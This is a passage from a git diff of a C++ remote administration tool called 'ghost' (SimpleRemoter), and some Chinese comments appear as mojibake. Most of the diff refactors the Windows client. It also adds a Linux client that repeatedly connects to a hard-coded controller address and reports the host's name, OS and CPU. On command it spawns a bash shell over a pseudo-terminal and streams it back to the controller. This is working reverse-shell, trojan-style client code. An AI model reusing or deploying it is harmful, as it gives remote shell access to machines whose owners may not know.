memset(g_Buffer,0,sizeof(g_Buffer)); g_Event = ID_TIMER_POP_WINDOW; - SetTimer(hDlg, g_Event, 1, NULL); //时钟回调 + SetTimer(hDlg, g_Event, 1, NULL); PlaySound(MAKEINTRESOURCE(IDR_WAVE), - g_hInstance,SND_ASYNC|SND_RESOURCE|SND_NODEFAULT); + m_hInstance,SND_ASYNC|SND_RESOURCE|SND_NODEFAULT); } @@ -143,7 +140,7 @@ VOID CTalkManager::OnDlgTimer(HWND hDlg) //时 { KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW); BYTE bToken = TOKEN_TALKCMPLT; // 包含头文件 Common.h - g_IOCPClientObject->OnServerSending((char*)&bToken, 1); // 发送允许重新发送的指令 + m_ClientObject->OnServerSending((char*)&bToken, 1); // 发送允许重新发送的指令 EndDialog(hDlg,0); } break; diff --git a/client/TalkManager.h b/client/TalkManager.h index 2b517f0..582bed6 100644 --- a/client/TalkManager.h +++ b/client/TalkManager.h @@ -14,6 +14,7 @@ class CTalkManager : public CManager { public: + HINSTANCE m_hInstance; CTalkManager(IOCPClient* ClientObject, int n, void* user = nullptr); virtual ~CTalkManager(); VOID OnReceive(PBYTE szBuffer, ULONG ulLength); @@ -21,8 +22,11 @@ public: static INT_PTR CALLBACK DialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam); - static VOID OnInitDialog(HWND hDlg); - static VOID OnDlgTimer(HWND hDlg); + VOID OnInitDialog(HWND hDlg); + VOID OnDlgTimer(HWND hDlg); + + char g_Buffer[TALK_DLG_MAXLEN]; + UINT_PTR g_Event; }; #endif // !defined(AFX_TALKMANAGER_H__BF276DAF_7D22_4C3C_BE95_709E29D5614D__INCLUDED_) diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index e75d35c..d343708 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -222,8 +222,6 @@ - - diff --git a/common/commands.h b/common/commands.h index 7adcc32..d7b98e6 100644 --- a/common/commands.h +++ b/common/commands.h @@ -1,5 +1,63 @@ #pragma once +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef _WIN32 +#include +#include +#define MVirtualFree(a1, a2, a3) VirtualFree(a1, a2, a3) +#define MVirtualAlloc(a1, a2, a3, a4) VirtualAlloc(a1, a2, a3, a4) +#else // 使得该头文件在 LINUX 正常使用 +#include +#define strcat_s strcat +#define sprintf_s sprintf +#define strcpy_s strcpy +#define __stdcall +#define WINAPI +#define TRUE 1 +#define FALSE 0 +#define skCrypt(p) +#define Mprintf printf +#define ASSERT(p) +#define AUTO_TICK_C(p) +#define AUTO_TICK(p) +#define OutputDebugStringA(p) printf(p) + +#include +#define Sleep(n) ((n) >= 1000 ? sleep((n) / 1000) : usleep((n) * 1000)) + +typedef int64_t __int64; +typedef uint32_t DWORD; +typedef int BOOL, SOCKET; +typedef unsigned int ULONG; +typedef unsigned int UINT; +typedef void VOID; +typedef unsigned char BYTE; +typedef BYTE* PBYTE, * LPBYTE; +typedef void* LPVOID, * HANDLE; + +#define GET_PROCESS(a1, a2) +#define MVirtualFree(a1, a2, a3) delete[]a1 +#define MVirtualAlloc(a1, a2, a3, a4) new BYTE[a2] +#define CopyMemory memcpy +#define MoveMemory memmove + +#define INVALID_SOCKET -1 +#define SOCKET_ERROR -1 +#define closesocket close +#define CloseHandle(p) +#define CancelIo(p) close(reinterpret_cast(p)) +#endif + #include #include #include @@ -193,18 +251,23 @@ typedef struct LOGIN_INFOR { unsigned char bToken; // 1.登陆信息 char OsVerInfoEx[156]; // 2.版本信息 - unsigned long dwCPUMHz; // 3.CPU主频 + unsigned int dwCPUMHz; // 3.CPU主频 char moduleVersion[24]; // 4.DLL模块版本 char szPCName[_MAX_PATH]; // 5.主机名 int bWebCamIsExist; // 6.是否有摄像头 - unsigned long dwSpeed; // 7.网速 + unsigned int dwSpeed; // 7.网速 char szStartTime[20]; // 8.启动时间 char szReserved[512]; // 9.保留字段 LOGIN_INFOR(){ memset(this, 0, sizeof(LOGIN_INFOR)); + bToken = TOKEN_LOGIN; strcpy_s(moduleVersion, DLL_VERSION); } + LOGIN_INFOR& Speed(unsigned long speed) { + dwSpeed = speed; + return *this; + } }LOGIN_INFOR; inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector& keys) { @@ -215,12 +278,54 @@ inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector< } } +inline std::tm ToPekingTime(const time_t* t) { + // 获取当前时间(如果传入的指针为空) + std::time_t now = (t == nullptr) ? std::time(nullptr) : *t; + + // 线程安全地转换为 UTC 时间 + std::tm utc_time{}; + +#ifdef _WIN32 // Windows 使用 gmtime_s + if (gmtime_s(&utc_time, &now) != 0) { + return { 0, 0, 0, 1, 0, 100 }; // 失败时返回 2000-01-01 00:00:00 + } +#else // Linux / macOS 使用 gmtime_r + if (gmtime_r(&now, &utc_time) == nullptr) { + return { 0, 0, 0, 1, 0, 100 }; + } +#endif + + // 转换为北京时间(UTC+8) + utc_time.tm_hour += 8; + + // 规范化时间(处理溢出,如跨天) + std::mktime(&utc_time); + + return utc_time; +} + +inline std::string ToPekingTimeAsString(const time_t* t) { + auto pekingTime = ToPekingTime(t); + char buffer[20]; + std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", &pekingTime); + return buffer; +} + #ifdef _DEBUG // 为了解决远程桌面屏幕花屏问题而定义的宏,仅调试时使用,正式版本没有 #define SCREENYSPY_IMPROVE 0 #define SCREENSPY_WRITE 0 #endif +#ifdef _WIN32 + +#ifdef _WINDOWS +#include +#else +#define WIN32_LEAN_AND_MEAN +#include +#endif + // 将内存中的位图写入文件 inline bool WriteBitmap(LPBITMAPINFO bmpInfo, const void* bmpData, const std::string& filePrefix, int index = -1) { char path[_MAX_PATH]; @@ -246,13 +351,6 @@ inline bool WriteBitmap(LPBITMAPINFO bmpInfo, const void* bmpData, const std::st return false; } -#ifdef _WIN32 -#ifdef _WINDOWS -#include -#else -#define WIN32_LEAN_AND_MEAN -#include -#endif class MSG32 { // 自定义控制消息(32位) public: uint32_t hwnd; diff --git a/linux/CMakeLists.txt b/linux/CMakeLists.txt new file mode 100644 index 0000000..cb96179 --- /dev/null +++ b/linux/CMakeLists.txt @@ -0,0 +1,34 @@ +# 缂栬瘧鏂规硶锛歝make . && make +# 璁剧疆 CMake 鏈浣庣増鏈姹 +set(CMAKE_VERBOSE_MAKEFILE ON) +set(CMAKE_CXX_STANDARD 11) +set(CMAKE_CXX_STANDARD_REQUIRED 11) + +cmake_minimum_required(VERSION 3.22) + +# 瀹氫箟椤圭洰鍚嶇О鍜岀増鏈 +project(SimpleRemoter VERSION 1.0) + +include_directories(${CMAKE_SOURCE_DIR}/mterm) + +# 棰濆鐨勫寘鍚洰褰 +include_directories(../) +include_directories(../client) +include_directories(../compress) + +# 娣诲姞鍙墽琛屾枃浠 +set(SOURCES + main.cpp + ../client/Buffer.cpp + ../client/IOCPClient.cpp +) +add_executable(ghost ${SOURCES}) + + +# 璁剧疆涓哄彲浠ヨ皟璇 +set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -g") +set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -g") + +# 閾炬帴 ZSTD 搴 +message(STATUS "閾炬帴搴撴枃浠: ${CMAKE_SOURCE_DIR}/lib/libzstd.a") +target_link_libraries(ghost PRIVATE "${CMAKE_SOURCE_DIR}/lib/libzstd.a") diff --git a/linux/lib/libzstd.a b/linux/lib/libzstd.a new file mode 100644 index 0000000..8fa521f Binary files /dev/null and b/linux/lib/libzstd.a differ diff --git a/linux/main.cpp b/linux/main.cpp new file mode 100644 index 0000000..86265e8 --- /dev/null +++ b/linux/main.cpp @@ -0,0 +1,243 @@ +#include "common/commands.h" +#include "client/IOCPClient.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength); + +// 杩滅▼鍦板潃锛氬綋鍓嶄负鍐欐鐘舵侊紝濡傞渶璋冭瘯锛岃鎸夊疄闄呮儏鍐典慨鏀 +CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "192.168.0.92", 6543, CLIENT_TYPE_DLL}; + +// 鍏ㄥ眬鐘舵 +BOOL g_bExit = FALSE; + +// 浼粓绔鐞嗙被锛氱户鎵胯嚜IOCPManager. +class PTYHandler : public IOCPManager { + public: + PTYHandler(IOCPClient *client) : m_client(client), m_running(false) { + if (!client) { + throw std::invalid_argument("IOCPClient pointer cannot be null"); + } + + // 鍒涘缓浼粓绔 + if (openpty(&m_master_fd, &m_slave_fd, nullptr, nullptr, nullptr) == -1) { + throw std::runtime_error("Failed to create pseudo terminal"); + } + + // 璁剧疆浼粓绔负闈為樆濉炴ā寮 + int flags = fcntl(m_master_fd, F_GETFL, 0); + fcntl(m_master_fd, F_SETFL, flags | O_NONBLOCK); + + // 鍚姩 Shell 杩涚▼ + startShell(); + } + + ~PTYHandler() { + m_running = false; + if (m_readThread.joinable()) m_readThread.join(); + close(m_master_fd); + close(m_slave_fd); + } + + // 鍚姩璇诲彇绾跨▼ + void Start(){ + if (m_running) return; + m_running = true; + m_readThread = std::thread(&PTYHandler::readFromPTY, this); + } + + virtual VOID OnReceive(PBYTE data, ULONG size) { + if (size && data[0] == COMMAND_NEXT){ + Start(); + return; + } + std::string s((char*)data, size); Mprintf(s.c_str()); + std::lock_guard lock(m_mutex); + if (size > 0) { + write(m_master_fd, (char*)data, size); + } + } + private: + int m_master_fd, m_slave_fd; + IOCPClient *m_client; + std::thread m_readThread; + std::atomic m_running; + std::mutex m_mutex; + pid_t m_child_pid; + + void startShell() { + m_child_pid = fork(); + if (m_child_pid == 0) { // 瀛愯繘绋 + setsid(); // 鍒涘缓鏂扮殑浼氳瘽 + dup2(m_slave_fd, STDIN_FILENO); + dup2(m_slave_fd, STDOUT_FILENO); + dup2(m_slave_fd, STDERR_FILENO); + close(m_master_fd); + close(m_slave_fd); + + // 鍏抽棴鍥炴樉銆佺鐢 ANSI 棰滆壊銆佸叧闂 PS1 + const char* shell_cmd = + "stty -echo -icanon; " // 绂佺敤鍥炴樉鍜岃鑼冩ā寮 + "export TERM=dumb; " // 璁剧疆缁堢绫诲瀷涓 dumb + "export LS_COLORS=''; " // 绂佺敤棰滆壊 + "export PS1='>'; " // 璁剧疆鎻愮ず绗 + //"clear; " // 娓呯┖缁堢 + "exec /bin/bash --norc --noprofile -i"; // 鍚姩 Bash + execl("/bin/bash", "/bin/bash", "-c", shell_cmd, nullptr); + exit(1); + } + } + + void readFromPTY() { + char buffer[4096]; + while (m_running) { + ssize_t bytes_read = 0; + { + std::lock_guard lock(m_mutex); + bytes_read = read(m_master_fd, buffer, sizeof(buffer)); + } + if (bytes_read > 0) { + if (m_client) { + buffer[bytes_read] = 0; Mprintf(buffer); + m_client->Send2Server(buffer, bytes_read); + } + } else if (bytes_read == -1) { + usleep(10000); + } + } + } + }; + +void *ShellworkingThread(void *param){ + IOCPClient *ClientObject = new IOCPClient(g_bExit, true); + Mprintf(">>> Enter ShellworkingThread [%p]\n", ClientObject); + if ( !g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { + PTYHandler *handler=new PTYHandler(ClientObject); + ClientObject->setManagerCallBack(handler, IOCPManager::DataProcess); + BYTE bToken = TOKEN_SHELL_START; + ClientObject->Send2Server((char*)&bToken, 1); + Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_SHELL_START\n", ClientObject); + while (ClientObject->IsRunning() && ClientObject->IsConnected() && !g_bExit) + Sleep(1000); + + delete handler; + } + delete ClientObject; + Mprintf(">>> Leave ShellworkingThread [%p]\n", ClientObject); + return NULL; +} + +int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength) { + if (szBuffer==nullptr || ulLength ==0) + return TRUE; + + if (szBuffer[0] == COMMAND_BYE) { + Mprintf("*** [%p] Received Bye-Bye command ***\n", user); + g_bExit = TRUE; + }else if (szBuffer[0] == COMMAND_SHELL){ + pthread_t id = 0; + HANDLE m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, ShellworkingThread, nullptr); + Mprintf("** [%p] Received 'SHELL' command ***\n", user); + }else if (szBuffer[0]==COMMAND_NEXT){ + Mprintf("** [%p] Received 'NEXT' command ***\n", user); + }else { + Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0])); + } + return TRUE; +} + +// 鏂规硶1: 瑙f瀽 lscpu 鍛戒护锛堜紭鍏堜娇鐢級 +double parse_lscpu() { + std::array buffer; + std::string result; + std::unique_ptr pipe(popen("lscpu", "r"), pclose); + if (!pipe) return -1.0; + + while (fgets(buffer.data(), buffer.size(), pipe.get())) { + result += buffer.data(); + } + + // 鍖归厤 "Model name" 涓殑棰戠巼锛堝 "Intel(R) Core(TM) i5-6300HQ CPU @ 2.30GHz"锛 + std::regex model_regex("@ ([0-9.]+)GHz"); + std::smatch match; + if (std::regex_search(result, match, model_regex) && match.size() > 1) { + return std::stod(match[1].str()) * 1000; // GHz -> MHz + } + return -1; +} + +// 鏂规硶2: 瑙f瀽 /proc/cpuinfo锛堝鐢級 +double parse_cpuinfo() { + std::ifstream cpuinfo("/proc/cpuinfo"); + std::string line; + std::regex freq_regex("@ ([0-9.]+)GHz"); + + while (std::getline(cpuinfo, line)) { + if (line.find("model name") != std::string::npos) { + std::smatch match; + if (std::regex_search(line, match, freq_regex) && match.size() > 1) { + return std::stod(match[1].str()) * 1000; // GHz -> MHz + } + } + } + return -1; +} + +// 涓涓熀浜嶭inux鎿嶄綔绯荤粺瀹炵幇鐨勫彈鎺х▼搴忎緥瀛: 褰撳墠鍙疄鐜颁簡娉ㄥ唽銆佸垹闄ゅ拰缁堢鍔熻兘. +int main() { + char hostname[256]={}; + if (gethostname(hostname, sizeof(hostname)) == 0) { + std::cout << "Hostname: " << hostname << std::endl; + } else { + std::cerr << "Failed to get hostname" << std::endl; + } + struct utsname systemInfo={}; + if (uname(&systemInfo) == 0) { + std::cout << "System Name: " << systemInfo.sysname << std::endl; + } else { + std::cerr << "Failed to get system info" << std::endl; + } + + LOGIN_INFOR logInfo; + strcpy(logInfo.szPCName, hostname); + strcpy(logInfo.OsVerInfoEx, systemInfo.sysname); + strcpy(logInfo.szStartTime, ToPekingTimeAsString(nullptr).c_str()); + double freq = parse_lscpu(); // 浼樺厛浣跨敤 lscpu + if (freq < 0) freq = parse_cpuinfo(); // 鍥為鍒 /proc/cpuinfo + logInfo.dwCPUMHz = freq > 0 ? static_cast(freq) : 0; + logInfo.bWebCamIsExist = 0; + + IOCPClient *ClientObject = new IOCPClient(g_bExit, false); + ClientObject->setManagerCallBack(NULL, DataProcess); + while (!g_bExit) + { + clock_t c = clock(); + if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())){ + Sleep(5000); + } + + ClientObject->SendLoginInfo(logInfo.Speed(clock()-c)); + + do { + Sleep(5000); + } while (ClientObject->IsRunning() && ClientObject->IsConnected() && !g_bExit); + } + + delete ClientObject; + + return 0; +} diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index d5f31b9..fc96873 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -34,8 +34,6 @@ #endif #endif -using namespace std; - CRITICAL_SECTION IOCPServer::m_cs = {0}; // 根据 socket 获取客户端IP地址.